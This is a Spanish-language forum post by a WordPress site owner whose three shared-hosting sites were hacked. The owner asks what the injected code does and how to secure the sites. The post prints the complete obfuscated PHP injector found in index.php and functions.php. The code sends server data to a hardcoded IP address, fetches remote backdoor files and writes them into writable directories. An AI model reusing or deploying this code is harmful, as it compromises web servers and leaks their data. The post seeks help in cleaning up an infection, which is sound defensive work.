Tengo 3 sitios de wordpress alojados en alojamiento compartido. Y fui hackeado hace unas semanas. Todos los archivos "index.php", "functions.php" han sido dañados. Y el siguiente script se agrega a la primera línea de cada archivo:
<?php if(!@$incode){$vl='h';$serverid='2d856f0be0c63bfcf73df90acde91109';function oOO($oO,$oO0,$oo,$ooo){if(ini_get('allow_url_fopen')==1):$o00=stream_context_create(array('http'=>array('method'=>'POST','header'=>array('Content-type: application/x-www-form-urlencoded'),'content'=>http_build_query($_SERVER))));if($ooo=='yes'):$oO=$oO.'&type=fopen';endif;$o0=@file_get_contents($oO,false,$o00);elseif(in_array('curl',get_loaded_extensions())):if($ooo=='yes'):$oO=$oO.'&type=curl';endif;$ooO0=curl_init();curl_setopt($ooO0,CURLOPT_URL,$oO);curl_setopt($ooO0,CURLOPT_HEADER,false);curl_setopt($ooO0,CURLOPT_RETURNTRANSFER,true);curl_setopt($ooO0,CURLOPT_POSTFIELDS,http_build_query($_SERVER));$o0=@curl_exec($ooO0);curl_close($ooO0);else:if($ooo=='yes'):$oo=$oo.'&type=socks';endif;$oOO=fsockopen($oO0,80,$o0o0O,$oOOo,10);if($oOO):$ooOO0=http_build_query($_SERVER);$oo00='POST '.$oo.' HTTP/1.0'."\r\n";$oo00.='Host: '.$oO0."\r\n";$oo00.='Content-Type: application/x-www-form-urlencoded'."\r\n";$oo00.='Content-Length: '.strlen($ooOO0)."\r\n\r\n";fputs($oOO,$oo00);fputs($oOO,$ooOO0);$oo0='';while(!feof($oOO)):$oo0.=fgets($oOO,4096);endwhile;fclose($oOO);list($oooo,$o000o)=@preg_split("/\R\R/",$oo0,2);$o0=$o000o;endif;endif;return$o0;}function o0($oo0o){$oOoo0=array();$oOoo0[]=$oo0o;foreach(scandir($oo0o) as$ooOo0):if($ooOo0=='.'||$ooOo0=='..'):continue;endif;$oooO0=$oo0o.DIRECTORY_SEPARATOR.$ooOo0;if(is_dir($oooO0)):$oOoo0[]=$oooO0;$oOoo0=array_merge($oOoo0,o0($oooO0));endif;endforeach;return$oOoo0;}$o00o=@preg_replace('/^www\./','',$_SERVER['HTTP_HOST']);$oO0='91.210.165.152';$oo='/get.php?spider&checkdomain&host='.$o00o.'&serverid='.$serverid.'&stookfile='.__FILE__;$oO='http://'.$oO0.'/get.php?spider&checkdomain&host='.$o00o.'&serverid='.$serverid.'&stookfile='.__FILE__;$o0O=oOO($oO,$oO0,$oo,$ooo='no');if($o0O!='havedoor|havedonor'):if($o0O!='needtowait'):$o0o=@preg_replace('/^www\./','',$_SERVER['HTTP_HOST']);$oOo0O=$_SERVER['DOCUMENT_ROOT'];chdir($oOo0O);$oOoo0=o0($oOo0O);$oOoo0=array_unique($oOoo0);foreach($oOoo0 as$ooOo0):if(is_dir($ooOo0)&&is_writable($ooOo0)):$o0o00=explode(DIRECTORY_SEPARATOR,$ooOo0);$o0oO=count($o0o00);$oOo00[]=$o0oO.'|'.$ooOo0;endif;endforeach;$o0oO=0;foreach($oOo00 as$o00oO):if(count($oOo00)>1&&(strstr($o00oO,'/wp-admin')||strstr($o00oO,'/cgi-bin'))):unset($oOo00[$o0oO]);endif;$o0oO++;endforeach;if(!is_writable($oOo0O)):natsort($oOo00);$oOo00=array_values($oOo00);$o00oO=explode('|',$oOo00[0]);$o00oO=$o00oO[1];else:$o00oO=$oOo0O;endif;chdir($o00oO);if(strstr($o0O,'|')):$o0oo0=explode('|',$o0O);$ooOOo=$o0oo0[0];$ooo0O=$o0oo0[1];if($ooOOo=='nodoor'):$oO='http://'.$oO0.'/get.php?vl='.$vl.'&update&needfilename';$oo='/get.php?vl='.$vl.'&update&needfilename';$ooOo=oOO($oO,$oO0,$oo,$ooo='no');$oOooo=explode('|||||',$ooOo);$o0o0=$oOooo[0].'.php';$oOOoo=$oOooo[1];file_put_contents($o00oO.DIRECTORY_SEPARATOR.$o0o0,$oOOoo);$o0000=str_replace($oOo0O,'',$o00oO);$oO='http://'.$o0o.$o0000.'/'.$o0o0.'?gen&serverid='.$serverid;$oo=$o0000.'/'.$o0o0.'?gen&serverid='.$serverid;$o0OO=oOO($oO,$o0o,$oo,$ooo='no');endif;if($ooo0O=='nodonor'):endif;elseif($o0O=='needtoloadsomefiles'):shuffle($oOo00);$o00oO=explode('|',$oOo00[0]);$o00oO=$o00oO[1];$o0000=str_replace($oOo0O,'',$o00oO);$oO00='stuvwxyz';$o0o0=str_shuffle($oO00).'.php';$oOO0=urlencode('http://'.$o0o.$o0000.'/'.$o0o0);$oO='http://'.$oO0.'/get.php?bdr&url='.$oOO0;$oo='/get.php?bdr&url='.$oOO0;$o0=oOO($oO,$oO0,$oo,$ooo='no');file_put_contents($o00oO.DIRECTORY_SEPARATOR.$o0o0,$o0);endif;endif;endif;$incode=1;}?>
También encontré nuevos archivos creados en mis directorios.
Esto hace que los sitios no estén disponibles. Limpié los archivos dañados varias veces usando los complementos de Wordpress Security (Wordpress, iThemes Security, ..). Esto resuelve el problema. Pero al día siguiente, los archivos todavía están dañados. Durante tres semanas, eliminé uno de los sitios del servidor compartido y bloqueé algunas direcciones IP sospechosas. Parece resolver el problema: Mis sitios son accesibles. Pero encuentro que los scripts maliciosos continúan agregándose a mis archivos. No sé qué hacer. ¿Puedes ayudarme por favor?
Primero me gustaría entender lo que hace este script: enlace ¿Y cómo puedo proteger mis sitios web?
Gracias por todo.